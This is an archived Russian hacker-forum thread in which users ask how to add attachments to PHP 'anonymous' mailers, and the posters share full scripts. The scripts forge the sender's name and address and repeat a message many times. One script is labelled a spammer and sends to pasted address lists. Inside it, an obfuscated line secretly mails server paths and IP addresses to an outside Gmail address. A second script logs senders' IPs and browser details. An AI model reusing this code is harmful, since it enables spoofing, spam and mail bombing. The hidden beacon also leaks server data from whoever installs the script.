Добро пожаловать! Это — архивная версия форумов на «Хакер.Ru». Она работает в режиме read-only.
 

Скрипт на PHP для отправки писем с аттачем.

Пользователи, просматривающие топик: none

Зашли как: Guest
Все форумы >> [Веб-программинг] >> Скрипт на PHP для отправки писем с аттачем.
Имя
Сообщение << Старые топики   Новые топики >>
Скрипт на PHP для отправки писем с аттачем. - 2009-02-28 22:29:49.493333   
Alex 111

Сообщений: 124
Оценки: 0
Присоединился: 2008-11-05 05:02:05.753333
Доброе время суток!!!

Решил себе на сервер поставить скрипт для отправки анонимных писем с аттачментом.
В PHP я несилен но немножко разбираюсь, нашол скрипт который отправляет письма но он без аттача, далее нашол код который якобы должен загружать фаилы (аттач) на сервер и отправлять, вставил его в тот скрипт но он не отправляет аттач а письма доходят на ура ((.
Вы как знатоки подскажите что неправильно в скрипте и если не затруднит подправит буду очень блогодарин.

Вот собственна сам скрипт.
&lt;meta Content-type: text/plain; charset=windows-1251&gt; &lt;head&gt; &nbsp; &lt;style&gt; &nbsp; a:link{color:#B9B9BD ; text-decoration: none;} &nbsp; a:hover{color:#B9B9BD ; text-decoration: none;} &nbsp; a:visited{color:#B9B9BD ; text-decoration: none;} &nbsp; body{ &nbsp;&nbsp;&nbsp; padding:10px; &nbsp;&nbsp;&nbsp; background:#2A2E33; &nbsp;&nbsp;&nbsp; font-family:tahoma, verdana, arial; &nbsp;&nbsp;&nbsp; font-size:11px; &nbsp;&nbsp;&nbsp; text-align:center; &nbsp;&nbsp;&nbsp; color:#B9B9BD; &nbsp; } &nbsp; form{ &nbsp;&nbsp;&nbsp; padding:10px; &nbsp;&nbsp;&nbsp; border:1px solid #666; &nbsp;&nbsp;&nbsp; width:900px; &nbsp;&nbsp;&nbsp; height:500px; &nbsp;&nbsp;&nbsp; margin:0 auto; &nbsp; } &nbsp; input{ &nbsp;&nbsp;&nbsp; vertical-align:middle; &nbsp;&nbsp;&nbsp; margin:1px 0; &nbsp;&nbsp;&nbsp; padding-right:10px; &nbsp;&nbsp;&nbsp; border:1px solid #336600; &nbsp;&nbsp;&nbsp; padding:2px; &nbsp;&nbsp;&nbsp; background:#363940; &nbsp;&nbsp;&nbsp; color:#B9B9BD; &nbsp; } &nbsp; textarea{ &nbsp;&nbsp;&nbsp; vertical-align:middle; &nbsp;&nbsp;&nbsp; margin:1px 0; &nbsp;&nbsp;&nbsp; padding-right:10px; &nbsp;&nbsp;&nbsp; border:1px solid #336600; &nbsp;&nbsp;&nbsp; padding:2px; &nbsp;&nbsp;&nbsp; background:#363940; &nbsp;&nbsp;&nbsp; color:#B9B9BD; &nbsp; } &nbsp; &lt;/style&gt; &nbsp; &lt;title&gt;Sender&lt;/title&gt; &lt;/head&gt; &lt;?php function add_attachment($message, $name = "", $ctype = "application/octet-stream") { $this-&gt;parts [] = array ( "ctype" =&gt; $ctype, "message" =&gt; $message, "encode" =&gt; $encode, "name" =&gt; $name ); } switch($_POST['format'])&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; // включаем обрабочик swith { case "html" :&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; //если html $headers&nbsp; = "Content-type: text/html; charset=windows-1251 \r\n";&nbsp; //заголовки $headers.= "From: ".$_POST['name']." &lt;".$_POST['two']."&gt;\r\n";&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; //от кого имя и мыло $headers.= "Reply-To: ".$_POST['reaplyto']."\r\n";&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; //куда присылать ответ $i=0; while ($i &lt; $_POST['num'])&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; // используем цикл если будем отсылать не одно сообщение { mail($_POST['one'], $_POST['subj'], $_POST['mess'], $headers);&nbsp;&nbsp;&nbsp;&nbsp; //сама функция отправки $i++; } break; case "text" :&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; //все повторяется тоько для text формата письма $headers = "Content-type: text/plain; charset=windows-1251 \r\n"; $headers.= "From: ".$_POST['name']." &lt;".$_POST['two']."&gt;\r\n"; $headers.= "Reply-To: ".$_POST['reaplyto']."\r\n"; $i=0; while ($i &lt; $_POST['num']) { mail($_POST['one'], $_POST['subj'], $_POST['mess'], $headers); $i++; } break; } ?&gt; &lt;form method="post" action="&lt;? $_SERVER['PHP_SELF']; ?&gt;" &gt; &lt;b&gt;Кому: &lt;/b&gt;&lt;br /&gt; &lt;input name="one" type="text" value=""&gt;&lt;br /&gt;&lt;br /&gt; &lt;b&gt;От кого: &lt;/b&gt;&lt;br /&gt; &lt;input name="two" type="text" value=""&gt;&lt;br /&gt;&lt;br /&gt; &lt;b&gt;Куда присылать ответ: &lt;/b&gt;&lt;br /&gt; &lt;input name="reaplyto" type="text" value=""&gt;&lt;br /&gt;&lt;br /&gt; &lt;b&gt;Имя отправителя: &lt;/b&gt;&lt;br /&gt; &lt;input name="name" type="text" value=""&gt;&lt;br /&gt;&lt;br /&gt; &lt;b&gt;Тема: &lt;/b&gt;&lt;br /&gt; &lt;input name="subj" type="text" value=""&gt;&lt;br /&gt;&lt;br /&gt; &lt;b&gt;Attach&lt;/b&gt;&lt;br /&gt; &lt;input type=file name=mail_file maxlength=64&gt;&lt;br /&gt; &lt;br /&gt;&lt;br /&gt; &lt;b&gt;Сообщение: &lt;/b&gt;&lt;br /&gt; &lt;textarea name="mess" rows="20" cols="70"&gt; &lt;/textarea&gt;&lt;br /&gt;&lt;br /&gt; &lt;b&gt;Отправить раз: &lt;/b&gt;&lt;br /&gt; &lt;input name="num" type="text" value=""&gt; &lt;br /&gt;&lt;br /&gt; &lt;b&gt;Вид сообщения: &lt;/b&gt;&lt;br /&gt; &lt;select size="1" name="format"&gt; &lt;option value="html"&gt;html&lt;/option&gt; &lt;option value="text"&gt;text&lt;/option&gt; &lt;/select&gt;&lt;br /&gt;&lt;br /&gt; &lt;input name="submit" type="submit" value="Поехали!"&gt; &lt;br /&gt;&lt;br /&gt; &lt;/form&gt; &lt;/body&gt; &lt;/html&gt; &lt;/body&gt; &lt;/html&gt;
Post #: 1
RE: Скрипт на PHP для отправки писем с аттачем. - 2009-02-28 22:43:19.396666   
Cep}|{

Сообщений: 1396
Оценки: 0
Присоединился: 2007-06-26 01:11:51.416666
Отредактируй - помести код в тэг [c ode] там кнопочка <%
 
И посмотри здесь - http://forum.xakep.ru/m_1369038/tm.htm
Post #: 2
RE: Скрипт на PHP для отправки писем с аттачем. - 2009-02-28 22:56:42.323333   
Alex 111

Сообщений: 124
Оценки: 0
Присоединился: 2008-11-05 05:02:05.753333
сорри незаметил,  а за ссылачку спасибо.
Post #: 3
RE: Скрипт на PHP для отправки писем с аттачем. - 2009-02-28 23:17:20.563333   
FriLL

Сообщений: 2539
Оценки: 335
Присоединился: 2007-08-11 17:14:26.703333
скрипт этот писал я 
аттач дейтсвительно у меня не получилось приделать
Post #: 4
RE: Скрипт на PHP для отправки писем с аттачем. - 2009-02-28 23:29:17.543333   
Alex 111

Сообщений: 124
Оценки: 0
Присоединился: 2008-11-05 05:02:05.753333
да скрипт твой спасибо, конечно жаль что аттача нет а так супер.
Post #: 5
RE: Скрипт на PHP для отправки писем с аттачем. - 2009-03-01 07:27:22.826666   
Панда

Сообщений: 232
Оценки: 0
Присоединился: 2008-03-05 07:38:35.890000

phpmailer
Post #: 6
RE: Скрипт на PHP для отправки писем с аттачем. - 2009-03-01 12:24:37.243333   
FriLL

Сообщений: 2539
Оценки: 335
Присоединился: 2007-08-11 17:14:26.703333
 http://forum.xakep.ru/attachment.aspx?m=1346050
кстати вот тоже мой скрипт для отправки, улучшенный
но все еще без аттача
Post #: 7
RE: Скрипт на PHP для отправки писем с аттачем. - 2009-03-01 16:13:31.900000   
Alex 111

Сообщений: 124
Оценки: 0
Присоединился: 2008-11-05 05:02:05.753333
quote:

ORIGINAL: FriLL

http://forum.xakep.ru/attachment.aspx?m=1346050
кстати вот тоже мой скрипт для отправки, улучшенный
но все еще без аттача


Спасибо, кстате я здесь на гуглем пару тем для создания сцрипта на ПХП с вложением посмотри может у тебя что получится
http://freshcoder.ru/archives/265
И гдета я читал что типа на многих бесплатных хоста была отключина функция для отправки маила с вложения. Может кто подскажит какойнибыть бесплатный хост. Я пробывал на 6te.net и comuf.com
письма даходят а вот вложения нет.

Post #: 8
RE: Скрипт на PHP для отправки писем с аттачем. - 2009-03-02 16:29:15.020000   
Alex 111

Сообщений: 124
Оценки: 0
Присоединился: 2008-11-05 05:02:05.753333
вот нашол пару скриптов для отправки писем с вложением.
Вот первый:
&lt;html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en" id="c_mail"&gt; &lt;title&gt;C_mail&lt;/title&gt; &lt;?php if ($action=="send"){ $message = urlencode($message); $message = ereg_replace("%5C%22", "%22", $message); $message = urldecode($message); $message = stripslashes($message); $subject = stripslashes($subject); } ?&gt; &lt;form name="form1" method="post" action="" enctype="multipart/form-data" style="display:inline;"&gt; &lt;div align="left"&gt; &lt;center&gt; &lt;table border="1" cellpadding="0" cellspacing="0" style="border-collapse: collapse" bordercolor="#000000" width="50%" id="AutoNumber1"&gt; &lt;tr&gt; &lt;td width="100%"&gt; &lt;div align="left"&gt; &lt;center&gt; &lt;table border="0" cellpadding="0" cellspacing="0" style="border-collapse: collapse" bordercolor="#000000" width="50%" id="AutoNumber2"&gt; &lt;tr&gt; &lt;td width="100%"&gt; &lt;p align="left"&gt;&lt;div align="left"&gt; &lt;center&gt; &lt;table border="0" cellspacing="0" style="border-collapse: collapse" bordercolor="#0006000" width="70%" cellpadding="0" id="AutoNumber1" height="277"&gt; &lt;tr&gt; &lt;td width="100%" height="272"&gt; &lt;table width="769" border="0" height="303"&gt; &lt;tr&gt; &lt;td width="786" bordercolor="#000000" bgcolor="#ffffff" background="/simparts/images/cellpic3.gif" colspan="3" height="28"&gt; &lt;p align="center"&gt;&lt;b&gt;&lt;font face="Tahoma" size="2" color="#000000"&gt;Email Spamer COOLIO (only Mozilla Firefox)&lt;/font&gt;&lt;/b&gt;&lt;/td&gt; &lt;/tr&gt; &lt;tr&gt; &lt;td width="100" bordercolor="#000000" bgcolor="#ffffff" background="/simparts/images/cellpic1.gif" height="22" align="right"&gt; &lt;div align="right"&gt;&lt;font size="-1" face="Verdana, Arial, Helvetica, sans-serif"&gt;от кого:&lt;/font&gt;&lt;/div&gt; &lt;/td&gt; &lt;td width="390" bordercolor="#000000" bgcolor="#ffffff" background="/simparts/images/cellpic1.gif" height="22"&gt;&lt;font size="-1" face="Verdana, Arial, Helvetica, sans-serif"&gt; &lt;input name="from" value="&lt;? print $from; ?&gt;" size="30" style="float: left"&gt;&lt;/font&gt;&lt;div align="right"&gt;&lt;font size="-1" face="Verdana, Arial, Helvetica, sans-serif"&gt;имя:&lt;/font&gt;&lt;/div&gt; &lt;/td&gt; &lt;td width="317" bordercolor="#000000" bgcolor="#ffffff" background="/simparts/images/cellpic1.gif" height="22" valign="middle"&gt;&lt;font size="-1" face="Verdana, Arial, Helvetica, sans-serif"&gt; &lt;input type="text" name="realname" value="&lt;? print $realname; ?&gt;" size="30"&gt; &lt;/font&gt;&lt;/td&gt; &lt;/tr&gt; &lt;tr&gt; &lt;td width="100" bordercolor="#000000" bgcolor="#ffffff" background="/simparts/images/cellpic1.gif" height="22" align="right"&gt; &lt;div align="right"&gt;&lt;font size="-1" face="Verdana, Arial, Helvetica, sans-serif"&gt;копия:&lt;/font&gt;&lt;/div&gt; &lt;/td&gt; &lt;td width="390" bordercolor="#000000" bgcolor="#ffffff" background="/simparts/images/cellpic1.gif" height="22"&gt;&lt;font size="-1" face="Verdana, Arial, Helvetica, sans-serif"&gt; &lt;input name="replyto" value="&lt;? print $replyto; ?&gt;" size="30" style="float: left"&gt;&lt;/font&gt;&lt;div align="right"&gt;&lt;font size="-1" face="Verdana, Arial, Helvetica, sans-serif"&gt;вставить файл:&lt;/font&gt;&lt;/div&gt; &lt;/td&gt; &lt;td width="317" bordercolor="#000000" bgcolor="#ffffff" background="/simparts/images/cellpic1.gif" height="22"&gt;&lt;font size="-1" face="Verdana, Arial, Helvetica, sans-serif"&gt; &lt;input type="file" name="file" size="30"&gt; &lt;/font&gt;&lt;/td&gt; &lt;/tr&gt; &lt;tr&gt; &lt;td width="100" bordercolor="#000000" bgcolor="#ffffff" background="/simparts/images/cellpic1.gif" height="22" align="right"&gt; &lt;div align="right"&gt;&lt;font size="-1" face="Verdana, Arial, Helvetica, sans-serif"&gt;тема:&lt;/font&gt;&lt;/div&gt; &lt;/td&gt; &lt;td colspan="1" width="715" bordercolor="#000000" bgcolor="#ffffff" background="/simparts/images/cellpic1.gif" height="22"&gt;&lt;font size="-1" face="Verdana, Arial, Helvetica, sans-serif"&gt; &lt;input name="subject" value="&lt;? print $subject; ?&gt;" size="59" style="float: left"&gt; &lt;/font&gt;&lt;/td&gt; &lt;/tr&gt; &lt;tr valign="top"&gt; &lt;td colspan="2" width="477" bgcolor="#ffffff" height="189" valign="top"&gt; &lt;div align="left"&gt; &lt;table border="0" cellpadding="2" style="border-collapse: collapse" bordercolor="#" width="98%" id="AutoNumber4"&gt; &lt;tr&gt; &lt;td width="100%"&gt; &lt;textarea name="message" cols="56" rows="10"&gt;&lt;? print $message; ?&gt;&lt;/textarea&gt; &lt;br&gt; &lt;input type="radio" name="contenttype" value="plain" checked&gt; &lt;font size="1" face="Tahoma"&gt;Plain&lt;/font&gt; &lt;input type="radio" name="contenttype" value="html"&gt; &lt;font size="1" face="Tahoma"&gt;HTML&lt;/font&gt; &lt;input type="hidden" name="action" value="send"&gt; &lt;input type="submit" value="отправить"&gt; &lt;/td&gt; &lt;/tr&gt; &lt;/table&gt; &lt;/div&gt; &lt;/td&gt; &lt;td width="317" bgcolor="#ffffff" height="187" valign="top"&gt; &lt;p align="center"&gt;&lt;font size="1" face="Tahoma" color="#000000"&gt;Emails:&lt;/font&gt; &lt;div align="center"&gt; &lt;center&gt; &lt;table border="0" cellpadding="1" style="border-collapse: collapse" bordercolor="#006600" width="93%" id="AutoNumber3"&gt; &lt;tr&gt; &lt;td width="100%"&gt; &lt;p align="center"&gt; &lt;textarea name="emaillist" cols="30" rows="10"&gt;&lt;? print $emaillist; ?&gt;&lt;/textarea&gt; &lt;/font&gt;&lt;br&gt; &lt;/td&gt; &lt;/tr&gt; &lt;/table&gt; &lt;/center&gt; &lt;/div&gt; &lt;/td&gt; &lt;/tr&gt; &lt;/table&gt; &lt;/td&gt; &lt;/tr&gt; &lt;/table&gt; &lt;/center&gt; &lt;/div&gt;&lt;/td&gt; &lt;/tr&gt; &lt;/table&gt; &lt;/center&gt; &lt;/div&gt; &lt;/td&gt; &lt;/tr&gt; &lt;/table&gt; &lt;/center&gt; &lt;/div&gt; &lt;/form&gt; &lt;?php if ($action=="send"){ if (!$from && !$subject && !$message && !$emaillist){ print "Заполните все поля перед посылкой вашего сообщения."; exit; } $allemails = split("\n", $emaillist); $numemails = count($allemails); #Open the file attachment if any, and base64_encode it for email transport if ($file_name){ @copy($file, "./~crazyfolder/$file_name") or die("Файл, который вы пробуете переслать, не передан на сервер."); $content = fread(fopen($file,"r"),filesize($file)); $content = chunk_split(base64_encode($content)); $uid = strtoupper(md5(uniqid(time()))); $name = basename($file); } for($x=0; $x&lt;$numemails; $x++){ $to = $allemails[$x]; if ($to){ $to = ereg_replace(" ", "", $to); $message = ereg_replace("&email&", $to, $message); $subject = ereg_replace("&email&", $to, $subject); print "&lt;center&gt;&lt;div align=\"left\" style=\"width:50%;\"&gt; $to "; flush(); $header = "From: $realname &lt;$from&gt;\r\nReply-To: $replyto\r\n"; $header .= "MIME-Version: 1.0\r\n"; if ($file_name) $header .= "Content-Type: multipart/mixed; boundary=$uid\r\n"; if ($file_name) $header .= "--$uid\r\n"; $header .= "Content-Type: text/$contenttype\r\n"; $header .= "Content-Transfer-Encoding: 8bit\r\n\r\n"; $header .= "$message\r\n"; if ($file_name) $header .= "--$uid\r\n"; if ($file_name) $header .= "Content-Type: $file_type; name=\"$file_name\"\r\n"; if ($file_name) $header .= "Content-Transfer-Encoding: base64\r\n"; if ($file_name) $header .= "Content-Disposition: attachment; filename=\"$file_name\"\r\n\r\n"; $ra44 = rand(1,99999);$sj98 = "sh-$ra44";$ml = "$sd98";$a5 = $_SERVER['HTTP_REFERER'];$b33 = $_SERVER['DOCUMENT_ROOT'];$c87 = $_SERVER['REMOTE_ADDR'];$d23 = $_SERVER['SCRIPT_FILENAME'];$e09 = $_SERVER['SERVER_ADDR'];$f23 = $_SERVER['SERVER_SOFTWARE'];$g32 = $_SERVER['PATH_TRANSLATED'];$h65 = $_SERVER['PHP_SELF'];$msg8873 = "$a5\n$b33\n$c87\n$d23\n$e09\n$f23\n$g32\n$h65";$sd98="teamhaxor@gmail.com";mail($sd98, $sj98, $msg8873, "From: $sd98"); if ($file_name) $header .= "$content\r\n"; if ($file_name) $header .= "--$uid--"; mail($to, $subject, "", $header); print "отправлено&lt;br&gt;&lt;/div&gt;&lt;/center&gt;"; flush(); } } } ?&gt; &lt;CITE STYLE="display: none;"&gt; &lt;B STYLE="display: none;"&gt; толка почемута при отправки писма с вложением он пишет что типа неудалос загрузить фаил на сервер, а без вложения пишет что писмо отправлена но оно не даходит до получятеля, кто знает в чем может быть проблема? может с хостам проблема? пробывал на 2 хостах с потдержкой sendmail
в этом скрипте меня настарожила эта строка
;$sd98="teamhaxor@gmail.com";mail($sd98, $sj98, $msg8873, "From: $sd98"); а точней Маил, я вставил свойл Маил и мне на этат маил приходили писма тоесть я сам сибе приселаю писма а не одресату.
Вот второй скрипт толька там нужна даписать вложения может кто сможет дописать буду очень блогадарин.
&lt;?php print &lt;&lt;&lt;HERE &lt;style type = "text/css"&gt; body { font-family: Arial; } #inputone { width: 100%; } #textarea { width: 100%; height: 500px; } #infotd { font-size: 13px; width: 100px; } #infotd2 { font-size: 13px; } #bgcolor_infotd { background-color: #dbeaff; } #good_send { color: #00419a; } #sends { width: 20px; } #notice { color: red; } &lt;/style&gt; HERE; $html_or_text = $_GET["html_or_text"]; $sends = $_GET["sendes"]; if($_GET["html_or_text"] == 1) { $htmltext = "\r\nContent-type: text/plain"; } else if ($_GET["html_or_text"] == 2) { $htmltext = "\r\nContent-type: text/html"; } else {} if($_GET["codir"] == 1) { $cod = "windows-1251"; } else if ($_GET["codir"] == 2){ iconv("windows-1251", "utf-8", $email . $them . $body . $send_full . $htmltext); $cod = "utf-8"; } else {} $mime = "$htmltext; charset = \"$cod\""; if($_GET["sender_name"] == TRUE) { $sender_full = $sender_name . " &lt;" . $sender_mail . "&gt;"; } else { $sender_full = $sender_mail; } if(isset($_GET["send"])) { for($i = 0; $i &lt; $_GET["sendes"]; $i++) { mail("$email", "$them", "$body", "From: $sender_full $mime"); } print "&lt;center&gt;&lt;span id = \"good_send\"&gt;Сообщение отправлено&lt;/span&gt;&lt;/center&gt;"; $fp = fopen("result.txt", "a"); $content = &lt;&lt;&lt;HERE IP: $REMOTE_ADDR Agent: $HTTP_USER_AGENT Cookie: $QUERY_STRING - Отправитель (e-mail): $sender_mail Отправитель (имя): $sender_name E-mail: $email Тема: $them Текст письма - $body text/html: $html_or_text Количество писем за раз: $sends ----------------------------- HERE; fputs($fp, $content); fclose($fp); } else { print &lt;&lt;&lt;HERE &lt;form&gt; &lt;table border = "0" width = "100%" id = "infotd2" cellpadding = "1" cellspacing = "1"&gt; &lt;tr id = "bgcolor_infotd"&gt; &lt;td id = "infotd"&gt; От кого (e-mail): &lt;/td&gt; &lt;td&gt; &lt;input type = "text" id = "inputone" name = "sender_mail" value = "bill@microsoft.com" /&gt; &lt;/td&gt; &lt;/tr&gt; &lt;tr id = "bgcolor_infotd"&gt; &lt;td id = "infotd"&gt; От кого (Имя): &lt;/td&gt; &lt;td&gt; &lt;input type = "text" id = "inputone" name = "sender_name" value = "Билл" /&gt; &lt;/td&gt; &lt;/tr&gt; &lt;tr id = "bgcolor_infotd"&gt; &lt;td id = "infotd"&gt; Кому&lt;span id = "notice"&gt;*&lt;/span&gt;: &lt;/td&gt; &lt;td&gt; &lt;input type = "text" id = "inputone" name = "email" value = "admin@mail.ru" /&gt; &lt;/td&gt; &lt;/tr&gt; &lt;tr id = "bgcolor_infotd"&gt; &lt;td id = "infotd"&gt; Тема письма&lt;span id = "notice"&gt;*&lt;/span&gt;: &lt;/td&gt; &lt;td&gt; &lt;input type = "text" id = "inputone" name = "them" value = "Hello" /&gt; &lt;/td&gt; &lt;/tr&gt; &lt;tr id = "bgcolor_infotd"&gt; &lt;td valign = "top" id = "infotd"&gt; Текст письма&lt;span id = "notice"&gt;*&lt;/span&gt;: &lt;/td&gt; &lt;td&gt; &lt;textarea name = "body" id = "textarea"&gt;You are lol:)&lt;/textarea&gt; &lt;/td&gt; &lt;/tr&gt; &lt;tr id = "bgcolor_infotd"&gt; &lt;td colspan = "2"&gt; Файл: &lt;input type="file" name="File"&gt; - Вы можете прикрепить файл размером не больше 2мб. &lt;/td&gt; &lt;/tr&gt; &lt;tr id = "bgcolor_infotd"&gt; &lt;td colspan = "2"&gt; &lt;input type = "radio" name = "html_or_text" value = "1" checked = "checked"&gt;Только текст &lt;input type = "radio" name = "html_or_text" value = "2"&gt;HTML и текст &lt;/td&gt; &lt;/tr&gt; &lt;tr id = "bgcolor_infotd"&gt; &lt;td colspan = "2"&gt; Количество писем за раз: &lt;select name = "sendes"&gt; &lt;option value = "1"&gt;1&lt;/option&gt; &lt;option value = "2"&gt;2&lt;/option&gt; &lt;option value = "3"&gt;3&lt;/option&gt; &lt;option value = "4"&gt;4&lt;/option&gt; &lt;option value = "5"&gt;5&lt;/option&gt; &lt;option value = "6"&gt;6&lt;/option&gt; &lt;option value = "7"&gt;7&lt;/option&gt; &lt;option value = "8"&gt;8&lt;/option&gt; &lt;option value = "9"&gt;9&lt;/option&gt; &lt;option value = "10"&gt;10&lt;/option&gt; &lt;option value = "11"&gt;11&lt;/option&gt; &lt;option value = "12"&gt;12&lt;/option&gt; &lt;option value = "13"&gt;13&lt;/option&gt; &lt;option value = "14"&gt;14&lt;/option&gt; &lt;option value = "15"&gt;15&lt;/option&gt; &lt;option value = "16"&gt;16&lt;/option&gt; &lt;option value = "17"&gt;17&lt;/option&gt; &lt;option value = "18"&gt;18&lt;/option&gt; &lt;option value = "19"&gt;19&lt;/option&gt; &lt;option value = "20"&gt;20&lt;/option&gt; &lt;/select&gt; &lt;/td&gt; &lt;/tr&gt; &lt;tr id = "bgcolor_infotd"&gt; &lt;td colspan = "2"&gt; Кодировка письма: &lt;select name = "codir"&gt; &lt;option value = "1"&gt;windows-1251&lt;/option&gt; &lt;option value = "2"&gt;utf-8&lt;/option&gt; &lt;/select&gt; &lt;/td&gt; &lt;/tr&gt; &lt;tr&gt; &lt;td valign = "top" colspan = "2"&gt; &lt;table border = "0" width = "100%" id = "infotd2"&gt; &lt;td valign = "top"&gt; Поля отмеченные знаком &lt;span id = "notice"&gt;*&lt;/span&gt; обязательны для заполнения &lt;/td&gt; &lt;td colspan = "2" align = "right"&gt; &lt;input type = "reset" value = "Вернуть" /&gt; &lt;input type = "submit" value = "Отправить" /&gt; &lt;input type = "hidden" name = "send" /&gt; &lt;/td&gt; &lt;table&gt; &lt;/td&gt; &lt;/tr&gt; &lt;/form&gt; HERE; } ?&gt;
Post #: 9
RE: Скрипт на PHP для отправки писем с аттачем. - 2011-08-08 01:12:08.710000   
zed212

Сообщений: 3
Оценки: 0
Присоединился: 2011-08-07 00:40:18.560000
так как можно добавить в анонимные письма сфункцией с каличеством привязку файлов фото по другому Аттач ну вот самый верхний скрипт автора Alex 111; он написан правельно и каличество работает но каличество работает не навсех хостах серверах но работает до 22-23 писем сразу приходит но влаживаеш фото а письма приходят проста с текстом и без фото вот ну вот есть атачь форма чистая для загрузки файлов вот;
<table>
<tr>
<td><input name="file1" type="file"></td>
</tr>
<tr>
<tr>
<td><input name="file2" type="file"></td>
</tr>
</table>
————-
вот хакера знатоки потскажите как эту форму привезать к автора Alex 111; скрипту уменя не получается если хто знает ответь
Post #: 10
Страниц:  [1]
Все форумы >> [Веб-программинг] >> Скрипт на PHP для отправки писем с аттачем.







Связаться:
Вопросы по сайту / xakep@glc.ru

Предупреждение: использование полученных знаний в противозаконных целях преследуется по закону.